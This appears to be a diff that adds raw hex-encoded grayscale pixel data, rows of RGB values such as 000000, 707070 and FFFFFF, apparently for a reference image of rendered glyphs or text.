+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000606060F8F8F8000000 +000000000000000000000000000000585858FFFFFF6E6E6E000000000000000000000000000000 +BBBBBBC9C9C9000000000000000000C4C4C4C2C2C2000000343434FFFFFF1313131F1F1FFFFFFF +383838010101F9F9F94040400000000000000000006C6C6CFFFFFF6C6C6C000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000D8D8D8 +808080000000000000000000000000000000BBBBBBC9C9C9000000000000000000C4C4C4C2C2C2 +000000000000BBBBBBC9C9C9000000000000000000C4C4C4C2C2C2000000000000000000000000 +000000000000000000000000000000000000343434FFFFFF1313131F1F1FFFFFFF383838010101 +F9F9F9404040000000000000000000000000000000000000AAAAAAA5A5A5000000000000949494 +F4F4F40B0B0B000000000000C2C2C29898980000000000004E4E4EFCFCFC181818000000000000 +DCDCDC858585000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000AAAAAAA5A5A5000000000000000000585858FFFFFF6E6E6E +000000000000000000000000000000CACACAAFAFAF000000000000151515FBFBFBA0A0A0000000 +000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000343434FFFFFF1313131F1F1F +FFFFFF383838010101F9F9F9404040000000C0C0C0CCCCCC010101000000000000848484D6D6D6 +000000000000949494F4F4F40B0B0B000000000000C2C2C2989898000000000000000000000000 +D8D8D88080800000000000000000000000000000005C5C5CFCFCFC020202000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000606060F8F8F8000000000000000000000000000000000000 +585858FFFFFF1D1D1D000000000000000000000000000000EEEEEE878787000000000000000000 +808080F5F5F5000000343434FFFFFF050505121212FFFFFF292929000000EEEEEE4C4C4C000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000D8D8D8808080000000000000000000000000 +000000EEEEEE878787000000000000000000808080F5F5F5000000000000EEEEEE878787000000 +000000000000808080F5F5F5000000000000000000000000000000000000000000000000000000 +000000343434FFFFFF050505121212FFFFFF292929000000EEEEEE4C4C4C0000000808087D7D7D +D4D4D4F2F2F2F8F8F8FCFCFCBCBCBC000000000000949494D2D2D2000000000000000000AAAAAA +AFAFAF000000000000050505EAEAEA717171000000383838FFFFFF272727000000000000000000 +0000000000000000000000000000000000000000000000000808087D7D7DD4D4D4F2F2F2F8F8F8 +FCFCFCBCBCBC000000000000000000585858FFFFFF1D1D1D000000000000000000000000010101 +F9F9F96B6B6B000000000000000000CFCFCFA0A0A0000000000000949494C8C8C8000000000000 +000000A8A8A8B4B4B4000000343434FFFFFF050505121212FFFFFF292929000000EEEEEE4C4C4C +060606FBFBFB777777000000000000000000464646FEFEFE070707000000949494D2D2D2000000 +000000000000AAAAAAAFAFAF000000000000000000000000D8D8D8808080000000000000000000 +000000000000313131FFFFFF9F9F9F4141410B0B0B000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +606060F8F8F8000000000000000000000000000000000000585858FFFFFF030303000000000000 +000000000000000000FDFDFD7575750000000000000000006E6E6EFFFFFF040404343434FFFFFF +040404101010FFFFFF282828000000ECECEC505050000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000D8D8D8808080000000000000000000000000000000FDFDFD757575000000000000 +0000006E6E6EFFFFFF040404000000FDFDFD7575750000000000000000006E6E6EFFFFFF040404 +000000000000000000000000000000000000000000000000000000343434FFFFFF040404101010 +FFFFFF282828000000ECECEC505050000000949494EDEDED6262622F2F2F282828ABABABC0C0C0 +000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000000000000000909090 +CDCDCD000000929292CACACA000000000000000000000000000000000000000000000000000000 +000000000000000000949494EDEDED6262622F2F2F282828ABABABC0C0C0000000000000000000 +585858FFFFFF030303000000000000000000000000111111FFFFFF595959000000000000000000 +BEBEBEA0A0A0000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000343434 +FFFFFF040404101010FFFFFF282828000000ECECEC505050141414FFFFFFFAFAFAF8F8F8F8F8F8 +F8F8F8F9F9F9FFFFFF212121000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000 +000000000000000000D8D8D8808080000000000000000000000000000000000000585858C9C9C9 +FCFCFCF9F9F99E9E9E050505000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000606060F8F8F8000000000000000000 +000000000000000000585858FFFFFF000000000000000000000000000000000000EEEEEE878787 +000000000000000000808080F5F5F5000000343434FFFFFF040404101010FFFFFF282828000000 +ECECEC505050000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000D8D8D8808080000000 +000000000000000000000000EEEEEE878787000000000000000000808080F5F5F5000000000000 +EEEEEE878787000000000000000000808080F5F5F5000000000000000000000000000000000000 +000000000000000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050 +000000ECECEC757575000000000000000000B5B5B5C0C0C0000000000000949494C8C8C8000000 +000000000000A8A8A8B4B4B4000000000000000000313131FFFFFF2B2B2BE8E8E86C6C6C000000 +000000000000000000000000000000000000000000000000000000000000000000ECECEC757575 +000000000000000000B5B5B5C0C0C0000000000000000000585858FFFFFF000000000000000000 +000000000000010101F9F9F96B6B6B000000000000000000CFCFCFA0A0A0000000000000909090 +C9C9C9000000000000000000B2B2B2B4B4B4000000343434FFFFFF040404101010FFFFFF282828 +000000ECECEC505050060606FBFBFB787878282828282828282828282828282828050505000000 +949494C8C8C8000000000000000000A8A8A8B4B4B4000000000000000000000000D8D8D8808080 +0000000000000000000000000000000000000000000000000E0E0E6E6E6EFDFDFD626262000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000606060F8F8F8000000000000000000000000000000000000585858FFFFFF +000000000000000000000000000000000000BBBBBBC9C9C9000000000000000000C4C4C4C2C2C2 +000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000000000000000 +2A2A2A6464642A2A2A000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000CACACA8C8C8C000000000000000000000000000000BBBBBB +C9C9C9000000000000000000C4C4C4C2C2C2000000000000BBBBBBC9C9C9000000000000000000 +C4C4C4C2C2C2000000000000000000000000000000000000000000000000000000000000343434 +FFFFFF040404101010FFFFFF282828000000ECECEC505050010101F6F6F6616161000000000000 +0C0C0CF0F0F0C0C0C0000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000 +000000000000000000D2D2D2C6C6C6FAFAFA141414000000000000000000000000000000000000 +000000000000000000000000000000010101F6F6F66161610000000000000C0C0CF0F0F0C0C0C0 +000000000000000000585858FFFFFF000000000000000000000000000000000000CBCBCBACACAC +000000000000131313FAFAFAA0A0A00000000000007A7A7AE1E1E1000000000000010101DEDEDE +B4B4B4000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000C2C2C2 +A3A3A3000000000000000000000000000000000000000000949494C8C8C8000000000000000000 +A8A8A8B4B4B4000000000000000000000000CACACA8C8C8C000000000000000000000000000000 +000000000000000000000000000000DFDFDF7D7D7D000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000606060F8F8F8 +000000000000000000000000000000000000585858FFFFFF000000000000000000000000000000 +0000004C4C4CFFFFFF9999994A4A4A959595FFFFFF535353000000343434FFFFFF040404101010 +FFFFFF282828000000ECECEC5050500000000000000000006C6C6CFFFFFF6C6C6C000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +9F9F9FDFDFDF4040402828281616160000000000004C4C4CFFFFFF9999994A4A4A959595FFFFFF +5353530000000000004C4C4CFFFFFF9999994A4A4A959595FFFFFF535353000000000000000000 +000000000000000000000000000000000000000000343434FFFFFF040404101010FFFFFF282828 +000000ECECEC505050000000B3B3B3C7C7C7181818191919ABABABF3F3F3C0C0C0000000000000 +949494C8C8C8000000000000000000A8A8A8B4B4B4000000000000000000000000737373FFFFFF +B3B3B3000000000000000000000000000000000000000000000000000000000000000000000000 +000000B3B3B3C7C7C7181818191919ABABABF3F3F3C0C0C0000000000000000000585858FFFFFF +0000000000000000000000000000000000005D5D5DFEFEFE7F7F7F454545B9B9B9F0F0F0A0A0A0 +000000000000393939FFFFFF5F5F5F161616808080F5F5F5B4B4B4000000343434FFFFFF040404 +101010FFFFFF282828000000ECECEC5050500000003F3F3FFAFAFA9D9D9D4E4E4E4E4E4E808080 +B2B2B2000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000000000000000 +0000009F9F9FDFDFDF4040402828281616160000000000006767679D9D9D5555554040408A8A8A +FEFEFE3B3B3B000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000606060F8F8F8000000000000000000000000000000 +000000585858FFFFFF000000000000000000000000000000000000000000606060DADADAFAFAFA +DCDCDC656565000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050 +0000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000202020BCBCBCF2F2F2FFFFFF909090 +000000000000000000606060DADADAFAFAFADCDCDC656565000000000000000000000000606060 +DADADAFAFAFADCDCDC656565000000000000000000000000000000000000000000000000000000 +000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC5050500000001A1A1A +B3B3B3F3F3F3E8E8E88585859A9A9AC0C0C0000000000000949494C8C8C8000000000000000000 +A8A8A8B4B4B4000000000000000000000000272727FFFFFF575757000000000000000000000000 +0000000000000000000000000000000000000000000000000000001A1A1AB3B3B3F3F3F3E8E8E8 +8585859A9A9AC0C0C0000000000000000000585858FFFFFF000000000000000000000000000000 +0000000000007F7F7FECECECF0F0F0838383BCBCBC909090000000000000000000818181EAEAEA +ECECEC868686A9A9A9B4B4B4000000343434FFFFFF040404101010FFFFFF282828000000ECECEC +505050000000000000414141C2C2C2F6F6F6F0F0F0C3C3C3606060000000000000949494C8C8C8 +000000000000000000A8A8A8B4B4B4000000000000000000000000202020BCBCBCF2F2F2FFFFFF +909090000000000000393939B8B8B8EAEAEAF6F6F6D1D1D1595959000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000006E6E6EF1F1F1090909000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +010101DFDFDF6C6C6C000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000002222224B4B4BE8E8E8939393000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000002121218080803F3F3F343434909090F0F0F0121212000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 